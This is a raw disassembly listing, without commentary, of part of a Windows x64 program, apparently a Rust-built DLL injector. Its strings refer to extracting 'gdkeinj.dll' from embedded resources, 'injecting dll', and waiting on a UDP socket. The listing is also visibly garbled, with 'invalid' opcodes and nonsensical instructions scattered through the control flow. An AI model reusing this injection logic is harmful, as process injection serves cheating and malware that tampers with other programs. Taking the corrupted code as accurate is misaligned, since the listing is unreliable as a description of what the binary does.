call qword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
shl rdi, 0x20
or rdi, 2
movabs r14, 0x8000000000000000
test rsi, rsi
je 0x1400110e9
push 2
pop rdx
mov rcx, qword [rbp + 0x17a0]
call fcn.140002eb0
movabs rax, 0x8000000000000000
cmp r14, rax
je 0x1400132f8
test rbx, rbx
mov qword [rbp + 0x17b8], rdi
mov qword [rbp + 0x1790], r14
je 0x14001113b
js 0x140013400
mov al, byte [0x1400c0320]
mov rcx, rbx
call fcn.14003d4f0
mov rsi, rax
test rax, rax
jne 0x14001113e
push 1
pop rcx
mov rdx, rbx
call fcn.1400419b0
jmp 0x140013607
invalid
push 1
pop rsi
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x1170]
mov qword [rcx], rbx
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rbx
mov byte [rcx + 0x18], 0
lea rdx, str.gdkeinj.dllfailed_to_get_dll_from_embeded_resources
push 0xb
pop r8
call case.0x14003a8e1.42
add al, byte [rax]
lea r8, [rbp + 0x1170]
mov rax, qword [r8]
mov qword [rbp + 0x1778], rax
mov rcx, qword [r8 + 8]
mov rsi, qword [r8 + 0x10]
and dword [r8], 0
pxor xmm0, xmm0
movdqu xmmword [r8 + 8], xmm0
mov dword [r8 + 0x18], 7
and qword [r8 + 0x1c], 0
and word [r8 + 0x24], 0
mov al, 1
mov byte [r8 + 0x21], al
mov byte [r8 + 0x24], al
mov byte [r8 + 0x23], al
mov qword [rbp + 0x1788], rcx
mov rdx, rsi
call fcn.14003a0a0
mov qword [rbp + 0x17a0], rdx
mov qword [rbp + 0x1780], rsi
test rax, rax
jne 0x140013329
lea r14, [0x140049a39]
mov ebx, 0x50a00
add eax, 0xbd8d4c00
sub byte [rdi], dl
add byte [rax], al
lea rsi, [rbp + 0x1720]
lea r12, [rbp + 0x1170]
lea rdi, [0x1400b5fb4]
lea edi, [0x1400b5fb4]
test rbx, rbx
je 0x1400112a2
invalid
mov rcx, rsi
mov rdx, qword [rbp + 0x17a0]
mov r8, r14
mov r9, rbx
fld1
invalid
invalid
add al, byte [rax]
cmp qword [rbp + 0x1720], 0
je case.default.0x140011250
mov r13, qword [rbp + 0x1728]
mov rcx, r12
mov ecx, esp
mov rdx, r13
call fcn.14000ec22
movzx eax, byte [rbp + 0x1170]
movsxd rax, dword [rdi + rax*4]
add rax, rdi
jmp rax
mov rcx, qword [rbp + 0x1728]
test rcx, rcx
je 0x14001307d
mov rax, rbx
sub rax, rcx
jb 0x140013069
add r14, rcx
mov rbx, rax
jmp 0x140011208
lea rbx, [rbp + 0x1170]
mov rcx, rbx
mov rdx, qword [rbp + 0x1788]
mov r8, qword [rbp + 0x1780]
call fcn.140006210
cmp qword [rbx], 0
jne 0x1400132a1
mov r15, qword [rbp + 0x1178]
mov rdi, qword [rbp + 0x1180]
mov rcx, rdi
call fcn.140003769
mov r14, rax
mov rbx, rdx
mov rcx, rdx
mov rdx, r15
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movabs rax, 0x8000000000000000
cmp r14, rax
je 0x1400132a1
mov qword [rbp + 0x1630], r14
mov qword [rbp + 0x1638], rbx
mov qword [rbp + 0x1640], rdi
mov rcx, qword [rbp + 0x17a0]
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rdi, [rbp + 0x15b8]
mov rcx, qword [rbp + 0x1778]
mov rdx, qword [rbp + 0x1788]
call fcn.14002127b
mov rcx, qword [rbp + 0x1790]
mov rdx, qword [rbp + 0x17b8]
call fcn.14002127b
lea rdx, [0x140049a39]
movabs rbx, 0x8000000000000000
mov rcx, rbx
call fcn.140015033
lea rax, [rbp + 0x1630]
mov qword [rbp + 0x1720], rax
lea rax, str.injecting_dll____n
lea rcx, [rbp + 0x1170]
mov qword [rcx], rax
lea rax, [0x140004e70]
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
mov qword [rbp + 0x1728], rax
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 1
mov byte [rbp + 0x17c7], 1
call fcn.14003ccb0
mov rax, qword [rbp + 0x1630]
mov qword [rbp + 0x1788], rax
mov rax, qword [rbp + 0x1638]
mov qword [rbp + 0x17a0], rax
mov r14, qword [rbp + 0x1640]
cmp qword [rbp + 0x15b8], 0
jne 0x140011515
lea rcx, [rbp + 0x1170]
lea rdx, [rbp + 0x1580]
call fcn.14004238f
mov rax, qword [rbp + 0x1170]
test rax, rax
je 0x1400114db
mov qword [rbp + 0x1790], rax
mov eax, dword [rbp + 0x1178]
mov dword [rbp + 0x1780], eax
mov eax, dword [rbp + 0x117c]
mov dword [rbp + 0x1778], eax
mov rax, qword [rbp + 0x1180]
mov qword [rbp + 0x17b8], rax
mov rax, qword [rbp + 0x1198]
movups xmm0, xmmword [rbp + 0x1188]
movaps xmmword [rbp + 0x16e0], xmm0
mov qword [rbp + 0x16f0], rax
cmp qword [rbp + 0x15b8], 0
jne 0x140013486
mov rcx, rdi
call fcn.14000f3c9
mov rax, qword [rbp + 0x1790]
mov qword [rbp + 0x15b8], rax
mov eax, dword [rbp + 0x1780]
mov dword [rbp + 0x15c0], eax
mov eax, dword [rbp + 0x1778]
mov dword [rbp + 0x15c4], eax
mov rax, qword [rbp + 0x17b8]
mov qword [rbp + 0x15c8], rax
movdqa xmm0, xmmword [rbp + 0x16e0]
movdqu xmmword [rbp + 0x15d0], xmm0
mov rax, qword [rbp + 0x16f0]
mov qword [rbp + 0x15e0], rax
lea rcx, [rbp + 0x1170]
mov qword [rcx + 8], rdi
and qword [rcx], 0
call fcn.14000f3d4
jmp 0x140011515
mov esi, dword [rbp + 0x1178]
mov eax, dword [rbp + 0x117c]
mov rdi, qword [rbp + 0x1180]
mov rcx, qword [rbp + 0x1198]
movdqu xmm0, xmmword [rbp + 0x1188]
movdqa xmmword [rbp + 0x1680], xmm0
test dword [rax + 0x48000016], eax
mov dword [rbp + 0x1690], ecx
cmp esi, 8
jne 0x1400116ab
lea rcx, [rbp + 0x1170]
call fcn.140034860
mov rax, qword [rbp + 0x1170]
cmp rax, rbx
jne 0x140011539
mov rdi, qword [rbp + 0x1178]
jmp 0x14001216b
mov qword [rbp + 0x1790], rax
mov rax, qword [rbp + 0x1178]
mov qword [rbp + 0x17b8], rax
mov r15, qword [rbp + 0x1180]
lea rcx, [rbp + 0x16e0]
mov rdx, qword [rbp + 0x17a0]
mov r8, r14
call fcn.14003d360
lea rcx, [rbp + 0x10d8]
lea rdx, [rbp + 0x16e0]
call fcn.140035a20
mov al, byte [rbp + 0x10d8]
cmp al, 0xa
mov qword [rbp + 0x1678], rdi
jne case.0x14000f20e.24
test r15, r15
je 0x14001168b
js 0x140013561
mov al, byte [0x1400c0320]
mov rcx, r15
call fcn.14003d4f0
mov rdi, rax
test rax, rax
test eax, eax
jne 0x14001168e
push 1
pop rcx
mov rdx, r15
call fcn.1400419b0
jmp 0x140013607
mov qword [rbp + 0x1658], r14
mov rsi, qword [rbp + 0x10e0]
mov rdi, qword [rbp + 0x10e8]
adc byte [rax], al
add byte [rax - 0x7d], cl
movsd dword [rdi], dword [rsi]
invalid
invalid
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x17], ebp
add byte [rax], al
or byte [rax], al
add byte [rax], al
and qword [rbp + 0x1770], 0
mov rdx, qword [rbp + 0x1100]
add al, 0xfa
movzx eax, al
lea rcx, [rax + 1]
xor r9d, r9d
cmp al, 4
cmovb r9, rcx
mov r8, qword [rbp + 0x1108]
lea rax, [0x1400b5fc4]
movsxd rcx, dword [rax + r9*4]
add rcx, rax
jmp rcx
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
lea rcx, [rbp + 0x1680]
lea rdx, [rbp + 0x16e0]
call fcn.140035a20
cmp byte [rbp + 0x1680], 0xa
jne 0x140011aa5
invalid
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov al, 1
mov dword [rbp + 0x17b0], eax
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
mov r13b, 1
mov al, 1
mov dword [rbp + 0x1798], eax
jmp 0x140011d47
invalid
push 1
pop rdi
mov rcx, rdi
mov rsi, qword [rbp + 0x17b8]
mov rdx, rsi
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add byte [rbp - 0x77], cl
cld
jmp 0x14001214d
mov rcx, qword [rbp + 0x1690]
mov qword [rbp + 0x1700], rcx
movdqa xmm0, xmmword [rbp + 0x1680]
movdqu xmmword [rbp + 0x16f0], xmm0
invalid
add byte [rax], al
mov dword [rbp + 0x16e0], esi
invalid
add byte [rax], al
mov dword [rbp + 0x16e4], eax
mov qword [rbp + 0x16e8], rdi
jmp 0x1400123ea
add r10, r15
cmp r13, r10
cmova r10, r13
lea r8, [0x1400b2480]
mov rcx, r10
mov rdx, r13
call fcn.140041bd0
jmp 0x140013607
lea rcx, [rbp + 0x1720]
mov rdx, qword [rbp + 0x17b8]
mov r12, r15
mov r8, r15
call fcn.14000ed98
movdqu xmm0, xmmword [rbp + 0x1720]
movdqu xmm1, xmmword [rbp + 0x1730]
movdqu xmm2, xmmword [rbp + 0x1740]
movups xmm3, xmmword [rbp + 0x1750]
lea rbx, [rbp + 0x1170]
movaps xmmword [rbx + 0x30], xmm3
movdqa xmmword [rbx + 0x20], xmm2
movdqa xmmword [rbx + 0x10], xmm1
movdqa xmmword [rbx], xmm0
lea r14, [rbp + 0x1760]
invalid
mov rcx, rbx
call fcn.14000f245
test rax, rax
je 0x1400118eb
mov r8, rdx
mov rcx, r14
mov rdx, rax
call fcn.14000ed08
jmp 0x14001175a
lea rcx, [rbp + 0x1720]
mov rdx, qword [rbp + 0x17b8]
mov rbx, r15
mov r8, r15
call fcn.14000ed98
movdqu xmm0, xmmword [rbp + 0x1720]
movdqu xmm1, xmmword [rbp + 0x1730]
movdqu xmm2, xmmword [rbp + 0x1740]
movups xmm3, xmmword [rbp + 0x1750]
lea rsi, [rbp + 0x1170]
add byte [rax], al
movaps xmmword [rsi + 0x30], xmm3
movdqa xmmword [rsi + 0x20], xmm2
movdqa xmmword [rsi + 0x10], xmm1
movdqa xmmword [rsi], xmm0
lea rdi, [rbp + 0x1760]
mov rcx, rsi
call fcn.14000f245
test rax, rax
je 0x14001194c
mov r8, rdx
mov rcx, rdi
mov rdx, rax
call fcn.14000ed08
jmp 0x1400117d3
mov rcx, qword [rbp + 0x17b8]
mov rbx, r15
mov rdx, r15
call fcn.14003bf00
test rax, rax
je 0x140011c5d
mov r8, rdx
lea rcx, [rbp + 0x1720]
mov rdx, rax
call fcn.14000ed98
movdqu xmm0, xmmword [rbp + 0x1720]
movdqu xmm1, xmmword [rbp + 0x1730]
movdqu xmm2, xmmword [rbp + 0x1740]
movups xmm3, xmmword [rbp + 0x1750]
lea rsi, [rbp + 0x1170]
add byte [rax], al
movaps xmmword [rsi + 0x30], xmm3
movdqa xmmword [rsi + 0x20], xmm2
movdqa xmmword [rsi + 0x10], xmm1
movdqa xmmword [rsi], xmm0
lea rdi, [rbp + 0x1760]
mov rcx, rsi
call fcn.14000f245
test rax, rax
je 0x1400119f6
mov r8, rdx
mov rcx, rdi
mov rdx, rax
call fcn.14000ed08
jmp 0x140011860
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x17b8]
mov r8, r15
call fcn.14000edd3
cmp byte [rbp + 0x1170], 6
setne al
mov dword [rbp + 0x1798], eax
je 0x140011a79
mov rdx, qword [rbp + 0x1198]
mov r8, qword [rbp + 0x11a0]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
jmp 0x140011a98
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x17b8]
mov r8, r12
call fcn.14000edd3
cmp byte [rbp + 0x1170], 6
setne al
mov dword [rbp + 0x1798], eax
mov rdx, qword [rbp + 0x1770]
je 0x140011bc6
cmp rdx, 2
jb 0x140011c39
mov rcx, qword [rbp + 0x1768]
lea r9, [0x140048e58]
push 1
pop r8
call fcn.14000ee8d
mov rbx, rax
call fcn.14000ed50
jmp 0x140011be9
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x17b8]
mov r8, rbx
call fcn.14000edd3
cmp byte [rbp + 0x1170], 6
mov rdx, qword [rbp + 0x1770]
jne 0x140011c0b
mov r13b, 1
test rdx, rdx
je 0x140012ad9
mov rcx, qword [rbp + 0x1768]
lea r9, [0x140048de0]
xor r8d, r8d
call fcn.14000ee8d
mov rsi, rax
call fcn.14000ed50
jmp 0x140011a4a
mov rax, qword [rbp + 0x16e0]
mov qword [rbp + 0x1728], rax
mov qword [rbp + 0x1730], rax
mov word [rbp + 0x1738], bx
xor eax, eax
jmp 0x1400105b7
lea r8, [0x1400b2450]
mov rcx, rax
mov rdx, rsi
call fcn.140041bd0
jmp 0x140013607
lea r8, [0x1400b2468]
mov rcx, r9
mov rdx, r13
call fcn.140041bd0
jmp 0x140013607
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x17b8]
mov r8, rbx
call fcn.14000edd3
cmp byte [rbp + 0x1170], 6
mov rdx, qword [rbp + 0x1770]
jne 0x140011ce3
mov r13b, 1
test rdx, rdx
je 0x140012ad9
mov rcx, qword [rbp + 0x1768]
lea r9, [0x140048e10]
xor r8d, r8d
call fcn.14000ee8d
mov rsi, rax
call fcn.14000ed50
mov r8, qword [0x1400c0050]
mov r9, qword [0x1400c0058]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.14000eeb1
mov dword [rbp + 0x17b0], eax
mov dword [rbp + 0x1798], 0
jmp 0x140011d47
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
mov al, 1
mov dword [rbp + 0x17b0], eax
jmp 0x140011d44
movdqu xmm0, xmmword [rbp + 0x1680]
movdqu xmm1, xmmword [rbp + 0x1690]
movdqu xmm2, xmmword [rbp + 0x16a0]
movdqa xmmword [rbp + 0x1130], xmm0
mov rax, qword [rbp + 0x16b0]
mov qword [rbp + 0x1160], rax
movdqa xmmword [rbp + 0x1150], xmm2
movdqa xmmword [rbp + 0x1140], xmm1
mov al, byte [rbp + 0x1130]
add al, 0xfa
movzx ecx, al
lea rdx, [rcx + 1]
xor eax, eax
cmp cl, 4
cmovb rax, rdx
cmp rax, 1
je 0x140012b48
cmp eax, 2
je 0x140012b77
cmp eax, 3
mov r8, r15
jne 0x140012c0f
mov rcx, qword [rbp + 0x17b8]
mov rdx, r8
call fcn.14003bf00
test rax, rax
je 0x140012e77
mov r8, rdx
lea rcx, [rbp + 0x1720]
mov rdx, rax
call fcn.14000ed98
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x17b8]
mov r8, r15
call fcn.14000edd3
xor eax, eax
lea rsi, [rbp + 0x1170]
cmp byte [rsi], 6
setne al
movdqu xmm0, xmmword [rbp + 0x1720]
movdqu xmm1, xmmword [rbp + 0x1730]
movdqu xmm2, xmmword [rbp + 0x1740]
movups xmm3, xmmword [rbp + 0x1750]
movups xmmword [rsi + 0x38], xmm3
movdqu xmmword [rsi + 0x28], xmm2
movdqu xmmword [rsi + 0x18], xmm1
movdqu xmmword [rsi + 8], xmm0
mov qword [rsi], rax
lea rdi, [rbp + 0x1760]
mov rcx, rsi
call fcn.14000ee38
test rax, rax
je 0x140012d2a
mov r8, rdx
mov rcx, rdi
mov rdx, rax
call fcn.14000ed08
jmp 0x140011ba5
test rdx, rdx
je 0x140011c39
mov rcx, qword [rbp + 0x1768]
lea r9, [0x140048e40]
xor r8d, r8d
call fcn.14000ee8d
mov rbx, rax
call fcn.14000ed50
mov r8, qword [0x1400c0050]
mov r9, qword [0x1400c0058]
mov rcx, qword [rbx]
mov rdx, qword [rbx + 8]
call fcn.14000eeb1
mov dword [rbp + 0x17b0], eax
jmp 0x140011c43
cmp rdx, 2
jb 0x140011d32
mov rcx, qword [rbp + 0x1768]
lea r9, [0x140048df8]
push 1
pop r8
call fcn.14000ee8d
mov rsi, rax
call fcn.14000ed50
jmp 0x140011d08
mov dword [rbp + 0x17b0], 0
mov r13b, 1
lea rcx, [rbp + 0x1760]
mov rdx, rsi
mov r8, rdi
call fcn.14000ed08
jmp 0x140011d47
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x17b8]
mov r8, rbx
call fcn.14000edd3
cmp byte [rbp + 0x1170], 6
setne al
mov dword [rbp + 0x1798], eax
je 0x140012af2
mov rdx, qword [rbp + 0x1198]
mov r8, qword [rbp + 0x11a0]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
mov rcx, qword [rbp + 0x17b8]
mov rdx, rbx
call fcn.140035440
test al, al
je 0x140011d3a
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov al, 1
mov dword [rbp + 0x17b0], eax
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
jmp 0x140011d44
cmp rdx, 2
jb 0x140011d32
mov rcx, qword [rbp + 0x1768]
lea r9, [0x140048e28]
push 1
pop r8
call fcn.14000ee8d
mov rsi, rax
call fcn.14000ed50
mov r8, qword [0x1400c0050]
mov r9, qword [0x1400c0058]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.14000eeb1
mov dword [rbp + 0x17b0], eax
mov al, 1
mov dword [rbp + 0x1798], eax
jmp 0x140011d44
mov al, 1
mov dword [rbp + 0x1798], eax
mov dword [rbp + 0x17b0], 0
mov r13b, 1
push 0xffffffffffffffff
pop r14
movdqu xmm0, xmmword [rbp + 0x16e0]
movdqu xmm1, xmmword [rbp + 0x16f0]
movdqu xmm2, xmmword [rbp + 0x1700]
movups xmm3, xmmword [rbp + 0x1710]
lea rsi, [rbp + 0x1170]
movaps xmmword [rsi + 0x30], xmm3
movdqa xmmword [rsi + 0x20], xmm2
movdqa xmmword [rsi + 0x10], xmm1
movdqa xmmword [rsi], xmm0
mov eax, dword [rbp + 0x1798]
mov edx, eax
mov ecx, dword [rbp + 0x17b0]
and dl, cl
mov byte [rbp + 0x1778], dl
or al, cl
mov byte [rbp + 0x1780], al
lea rdi, [rbp + 0x1680]
xor r15d, r15d
lea rbx, [rbp + 0x1720]
lea r12, [rbp + 0x1760]
mov rcx, rdi
mov rdx, rsi
call fcn.140035a20
cmp byte [rbp + 0x1680], 0xa
je 0x140011e8a
movdqu xmm0, xmmword [rbp + 0x1680]
movdqu xmm1, xmmword [rbp + 0x1690]
movdqu xmm2, xmmword [rbp + 0x16a0]
movdqa xmmword [rbp + 0x1720], xmm0
mov rax, qword [rbp + 0x16b0]
mov qword [rbp + 0x1750], rax
movdqa xmmword [rbp + 0x1740], xmm2
movdqa xmmword [rbp + 0x1730], xmm1
mov al, byte [rbp + 0x1720]
add al, 0xfa
movzx eax, al
lea rcx, [rax + 1]
cmp al, 4
cmovae rcx, r15
mov al, 1
cmp rcx, 2
je 0x140011e82
cmp ecx, 3
jne 0x140011e54
mov rcx, qword [rbp + 0x1770]
test rcx, rcx
je 0x140011e82
cmp rcx, 2
je 0x140011e6f
cmp rcx, 1
jne 0x140011e78
cmp byte [rbp + 0x1780], 0
je 0x140011e78
jmp 0x140011e82
mov rcx, rbx
call fcn.14000f1ed
mov r8, rdx
mov rcx, r12
mov rdx, rax
call fcn.14000ed08
mov eax, r13d
jmp 0x140011e82
cmp byte [rbp + 0x1778], 0
jne 0x140011e82
dec rcx
mov qword [rbp + 0x1770], rcx
mov r13d, eax
jmp 0x140011db9
mov rdi, qword [rbp + 0x1768]
mov rbx, qword [rbp + 0x1770]
mov rsi, rbx
sub rsi, 1
jae 0x140011ebd
cmp byte [rbp + 0x1798], 0
movabs r15, 0x8000000000000000
mov r12, qword [rbp + 0x1658]
jne 0x140011f1e
jmp 0x140011f0b
lea rax, [rdi + 8]
mov rcx, rbx
mov r14, rsi
movabs r15, 0x8000000000000000
mov r12, qword [rbp + 0x1658]
add r14, qword [rax]
add rax, 0x10
dec rcx
jne 0x140011ed8
cmp byte [rbp + 0x1798], 0
je 0x140011f0b
cmp rbx, 1
jbe 0x140011f1e
cmp rbx, 2
setne al
and al, byte [rbp + 0x17b0]
movzx eax, al
not rax
add r14, rax
jmp 0x140011f1e
cmp rbx, 2
setae al
and al, byte [rbp + 0x17b0]
movzx eax, al
sub r14, rax
test r13b, 1
jne 0x140011f34
mov r13, qword [rbp + 0x17a0]
cmp r14, r12
je 0x140012134
test r14, r14
je 0x140011f62
js 0x1400135a0
mov al, byte [0x1400c0320]
mov rcx, r14
call fcn.14003d4f0
test rax, rax
jne 0x140011f65
push 1
pop rcx
mov rdx, r14
call fcn.1400419b0
jmp 0x140013607
push 1
pop rax
and qword [rbp + 0x1180], 0
mov qword [rbp + 0x1170], r14
mov qword [rbp + 0x1178], rax
mov byte [rbp + 0x1188], 1
test rbx, rbx
je 0x140013592
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
lea rcx, [rbp + 0x1170]
call fcn.14000f274
cmp rbx, 2
jb 0x14001211f
mov r15, rbx
shl r15, 4
add r15, rdi
cmp byte [rbp + 0x1798], 0
je 0x140012059
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
lea rcx, [rbp + 0x1170]
call fcn.14000f274
cmp rbx, 3
jb 0x14001211f
cmp byte [rbp + 0x17b0], 0
jne 0x140012005
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1170]
call fcn.140039e70
lea r12, [rdi + 0x20]
lea r13, [rbx - 3]
lea r14, [rbp + 0x1170]
sub r13, 1
jb 0x1400120f7
cmp r12, r15
je 0x1400120f7
mov rdx, qword [r12]
mov r8, qword [r12 + 8]
mov rcx, r14
call fcn.14000f274
call fcn.14000ed50
add r12, 0x10
mov rdx, qword [0x1400c0050]
mov r8, qword [0x1400c0058]
mov rcx, r14
call fcn.140039e70
jmp 0x140012014
cmp byte [rbp + 0x17b0], 0
jne 0x140012081
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1170]
call fcn.140039e70
lea r12, [rdi + 0x10]
lea r13, [rbx - 2]
lea r14, [rbp + 0x1170]
sub r13, 1
jb 0x1400120cd
cmp r12, r15
je 0x1400120cd
mov rdx, qword [r12]
mov r8, qword [r12 + 8]
mov rcx, r14
call fcn.14000f274
call fcn.14000ed50
add r12, 0x10
mov rdx, qword [0x1400c0050]
mov r8, qword [0x1400c0058]
mov rcx, r14
call fcn.140039e70
jmp 0x140012090
lea r9, [0x140048e88]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.14000ee8d
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rcx, [rbp + 0x1170]
call fcn.140039e70
jmp 0x14001211f
lea r9, [0x140048ea0]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.14000ee8d
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rcx, [rbp + 0x1170]
call fcn.140039e70
mov r15, qword [rbp + 0x1170]
mov r13, qword [rbp + 0x1178]
mov r12, qword [rbp + 0x1180]
mov rcx, qword [rbp + 0x1760]
mov rdx, rdi
call fcn.14001470b
mov rsi, qword [rbp + 0x17b8]
mov rdi, r13
mov rcx, qword [rbp + 0x1790]
mov rdx, rsi
call fcn.14002127b
movabs rax, 0x8000000000000001
cmp r15, rax
jne 0x14001217f
lea rcx, [rbp + 0x16e0]
mov rdx, rdi
call fcn.14000ebef
jmp 0x1400123e4
add r12, rdi
lea rcx, [rbp + 0x1680]
mov qword [rcx], rdi
mov qword [rcx + 8], r12
and word [rcx + 0x10], 0
call fcn.14003f9ec
test ax, ax
mov qword [rbp + 0x17b8], r15
mov qword [rbp + 0x1778], rdi
je 0x1400122be
mov esi, edx
lea rdi, [rbp + 0x1170]
lea rdx, [rbp + 0x1680]
mov rcx, rdi
call fcn.14003fabf
mov rax, qword [rdi]
inc rax
push 0xffffffffffffffff
pop r15
cmove rax, r15
cmp rax, 5
push 4
pop rcx
cmovae rcx, rax
mov rax, rcx
shr rax, 0x3e
jne 0x14001356b
mov rbx, rcx
lea rdi, [rcx + rcx]
push 2
pop rcx
mov rdx, rdi
call fcn.14003fbce
test rax, rax
je 0x140013575
mov r13, rax
mov word [rax], si
lea rsi, [rbp + 0x16e0]
mov qword [rsi], rbx
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], 1
mov rax, qword [rbp + 0x1690]
lea rdi, [rbp + 0x1720]
mov qword [rdi + 0x10], rax
movdqu xmm0, xmmword [rbp + 0x1680]
movdqa xmmword [rdi], xmm0
push 1
pop r12
lea rbx, [rbp + 0x1170]
mov rcx, rdi
call fcn.14003f9ec
cmp ax, 1
jne 0x1400122ae
mov r14d, edx
cmp r12, qword [rbp + 0x16e0]
jne 0x14001229c
mov rcx, rbx
mov rdx, rdi
call fcn.14003fabf
mov r8, qword [rbp + 0x1170]
inc r8
cmove r8, r15
mov rcx, rsi
mov rdx, r12
call fcn.14003fb02
mov rcx, rax
call fcn.14003fba6
mov r13, qword [rbp + 0x16e8]
mov word [r13 + r12*2], r14w
inc r12
mov qword [rbp + 0x16f0], r12
jmp 0x14001224f
mov rax, qword [rbp + 0x16e0]
mov r15, qword [rbp + 0x17b8]
jmp 0x1400122c7
push 2
pop r13
xor eax, eax
xor r12d, r12d
push 4
pop rbx
lea rdx, [r12 + r12]
xor ecx, ecx
test rdx, rdx
je 0x1400122e7
cmp word [r13 + rcx*2], 0
je 0x140012300
inc rcx
add rdx, 0xfffffffffffffffe
jmp 0x1400122d0
lea rcx, [rbp + 0x1170]
mov qword [rcx], rax
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], r12
call fcn.14003fcc4
jmp 0x140012325
lea rdx, [r12 - 1]
cmp rcx, rdx
jne 0x1400128c2
lea rcx, [rbp + 0x1170]
mov qword [rcx], rax
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], r12
call fcn.14003fcc4
mov r12, rdx
mov qword [rbp + 0x1790], rax
mov qword [rbp + 0x1780], r12
lea rsi, [r12 + r12]
mov rdx, qword [rbp + 0x1580]
lea rcx, [rbp + 0x1170]
mov r8, rsi
call fcn.14000e478
mov r14, qword [rbp + 0x1170]
test r14, r14
je 0x1400123a5
mov rdi, qword [rbp + 0x1178]
mov r15, qword [rbp + 0x1180]
lea rcx, [rbp + 0x1720]
mov qword [rcx], r14
mov qword [rcx + 8], rdi
mov qword [rcx + 0x10], r15
mov rdx, qword [rbp + 0x1790]
mov r8, rsi
call fcn.14000e7a5
mov rsi, rax
test rax, rax
je 0x1400128e1
lea rcx, [rbp + 0x1720]
call fcn.14000dfb2
jmp 0x1400123ac
mov rsi, qword [rbp + 0x1178]
lea rcx, [rbp + 0x16e0]
mov rdx, rsi
call fcn.14000ebef
mov rcx, qword [rbp + 0x1780]
mov rdx, qword [rbp + 0x1790]
call fcn.140015b33
mov r15, qword [rbp + 0x17b8]
mov rcx, r15
mov rdx, qword [rbp + 0x1778]
call fcn.140015033
mov esi, dword [rbp + 0x16e0]
mov rcx, qword [rbp + 0x1788]
mov rdx, qword [rbp + 0x17a0]
call fcn.14002127b
cmp esi, 8
jne 0x140013361
lea rax, str.waiting_until_udp_is_ok__n
lea rsi, [rbp + 0x1170]
mov qword [rsi], rax
mov qword [rsi + 8], 1
lea rax, str.combase.dll
mov qword [rsi + 0x10], rax
xorps xmm6, xmm6
movups xmmword [rsi + 0x18], xmm6
mov byte [rbp + 0x17c7], 0
mov rcx, rsi
call fcn.14003ccb0
lea rdx, [rbp + 0x1130]
mov byte [rdx], 0
movaps xmmword [rbp + 0x11e0], xmm6
movaps xmmword [rbp + 0x11d0], xmm6
movaps xmmword [rbp + 0x11c0], xmm6
movaps xmmword [rbp + 0x11b0], xmm6
movaps xmmword [rbp + 0x11a0], xmm6
movaps xmmword [rbp + 0x1190], xmm6
movaps xmmword [rbp + 0x1180], xmm6
movaps xmmword [rbp + 0x1170], xmm6
mov dword [rbp + 0x1680], 0x80
lea rax, [rbp + 0x1680]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
push 1
pop r8
mov rcx, qword [rbp + 0x16c8]
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_recvfrom]
cmp eax, 0xffffffff
je 0x1400124fc
mov eax, dword [rbp + 0x1680]
movzx ecx, word [rbp + 0x1170]
cmp ecx, 0x17
je 0x140012554
cmp ecx, 2
jne 0x140013424
cmp eax, 0xf
ja 0x140012531
mov byte [rbp + 0x17c7], 0
lea rcx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in___library_std_src_sys_common_net.rs
lea r8, [0x1400b5000]
push 0x42
pop rdx
call fcn.140041cd0
jmp 0x140013607
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x274a
jne 0x14001344d
mov eax, dword [rbp + 0x1680]
movzx ecx, word [rbp + 0x1170]
cmp ecx, 0x17
je 0x14001257b
cmp ecx, 2
jne 0x140013424
cmp eax, 0xf
jbe 0x14001351d
movzx eax, word [rbp + 0x1172]
rol ax, 8
mov ecx, dword [rbp + 0x1174]
mov word [rbp + 0x1724], ax
mov dword [rbp + 0x1720], ecx
xor r9d, r9d
jmp 0x1400125ce
cmp eax, 0x1b
ja 0x140012584
mov byte [rbp + 0x17c7], 0
lea rcx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in6___
lea r8, [0x1400b5060]
push 0x43
pop rdx
call fcn.140041cd0
jmp 0x140013607
